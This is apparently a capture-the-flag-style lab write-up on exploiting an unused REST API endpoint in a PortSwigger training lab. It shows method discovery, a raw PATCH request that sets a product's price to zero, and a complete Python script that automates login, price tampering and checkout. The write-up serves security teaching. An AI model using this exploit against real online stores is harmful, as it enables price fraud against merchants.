In modern web applications, RESTful APIs are the backbone of client-server communication. However, misconfigured or poorly implemented API endpoints can expose unintended functionality to attackers. This lab from PortSwigger's Web Security Academy teaches us how to identify and exploit an unused but accessible API endpoint using HTTP method tampering and basic JSON manipulation.
Let’s walk through how we exploited the API to get a "Lightweight l33t Leather Jacket" for free by changing its price to $0.00
.
Before jumping into the exploitation, it’s essential to understand a few core concepts:
- How error messages help identify missing parameters or required formats.
- RESTful API behavior: different methods like
GET
,PATCH
,OPTIONS
. - The role of headers, especially
Content-Type: application/json
. - Authorization and session handling.
Exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket for $0.00 using valid credentials (wiener:peter
).
Intercept the GET /api/products/1/price
request using Burp Suite and send it to Repeater.
This reveals allowed methods:
Response: Allow: GET, PATCH
🎯 This confirms PATCH is a valid method – a potential goldmine!
Initially, this returns:
401 Unauthorized
🔒 We need to authenticate. Let’s log in!
Now resend the PATCH
request. This time we hit:
415 Unsupported Media Type
🔍 The server wants a specific
Content-Type
.
Content-Type: application/json
Try again — still not working. We're getting closer.
Send {}
Response:
{
"type": "ClientError",
"code": 400,
"error": "'price' parameter missing in body"
}
đź§© We're missing a
"price"
key. The server is guiding us via error messages.
PATCH /api/products/1/price HTTP/2
Host: [target domain]
Cookie: session=...
Content-Type: application/json
{
"price": 0
}
{
"price": "$0.00"
}
🤑 Success! We’ve just modified the product’s price via the API endpoint.
The jacket is now showing $0.00. Add to cart.
Complete the checkout.
Congratulations! You've just exploited an unused API endpoint to manipulate product pricing.
- HTTP Method Discovery: Use
OPTIONS
to uncover hidden API methods likePATCH
. - Error-Based Enumeration: Always pay attention to error messages; they often hint at what's expected.
- Improper Authorization: The PATCH endpoint allowed price modification post-authentication—this should be a protected admin-only feature.
- JSON Format Validation: Content-Type headers and correctly structured JSON are essential for interacting with modern APIs.
This lab mirrors real-world bugs commonly reported in bug bounty platforms like HackerOne and Bugcrowd. Hidden or undocumented endpoints, especially those allowing actions like pricing, stock control, or user management, are goldmines when misconfigured.
Bug bounty hunters should:
- Test all HTTP methods.
- Manipulate request payloads, headers, and session cookies.
- Analyze error responses for valuable clues.
- Logs in as
wiener:peter
- Finds the correct product ID and endpoint
- Sends
PATCH
with correct headers and JSON body - Confirms if the price is set to
$0.00
import requests
from urllib.parse import urljoin
import re
# Suppress warnings for HTTPS labs (optional)
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit_api_price_change(base_url):
session = requests.Session()
session.verify = False # Ignore SSL warnings for lab
login_url = urljoin(base_url, '/login')
product_page = urljoin(base_url, '/product?productId=1')
patch_api_endpoint = '/api/products/1/price'
print("[*] Logging in as wiener:peter...")
login_data = {
'username': 'wiener',
'password': 'peter'
}
session.post(login_url, data=login_data)
print("[*] Sending PATCH request to change price...")
patch_url = urljoin(base_url, patch_api_endpoint)
headers = {'Content-Type': 'application/json'}
payload = {"price": 0}
patch_response = session.patch(patch_url, json=payload, headers=headers)
if '"$0.00"' in patch_response.text:
print("[+] Price successfully changed to $0.00!")
print("[*] Adding product to cart...")
session.get(product_page)
session.post(urljoin(base_url, '/cart'), data={'productId': '1', 'redir': 'PRODUCT'})
print("[*] Placing the order...")
order_resp = session.post(urljoin(base_url, '/cart/checkout'))
if 'Congratulations, you solved the lab!' in order_resp.text:
print("[âś…] Lab Solved Successfully!")
else:
print("[!] Order placement failed or lab not marked as solved.")
else:
print("[!] Failed to change price. Exploit may not have worked.")
if __name__ == "__main__":
print("=== đź§Ş API Endpoint Exploitation Script ===")
base = input("Enter Lab URL (e.g., https://0aa9...web-security-academy.net): ").strip()
exploit_api_price_change(base)
-
Save as
api_price_exploit.py
-
Install
requests
if not already:pip install requests
-
Run:
python api_price_exploit.py
-
Input the lab URL, like:
https://0aa9002a035b70fc80da2b9f00970012.web-security-academy.net
[*] Logging in as wiener:peter...
[*] Sending PATCH request to change price...
[+] Price successfully changed to $0.00!
[*] Adding product to cart...
[*] Placing the order...
[âś…] Lab Solved Successfully!
API security is an often-overlooked frontier. As this lab demonstrated, even a small misconfiguration in a single API endpoint can lead to major security flaws. A curious and systematic approach—combined with tools like Burp Suite—can uncover vulnerabilities that others miss.
Keep exploring, keep breaking, and most importantly—report responsibly. 🛡️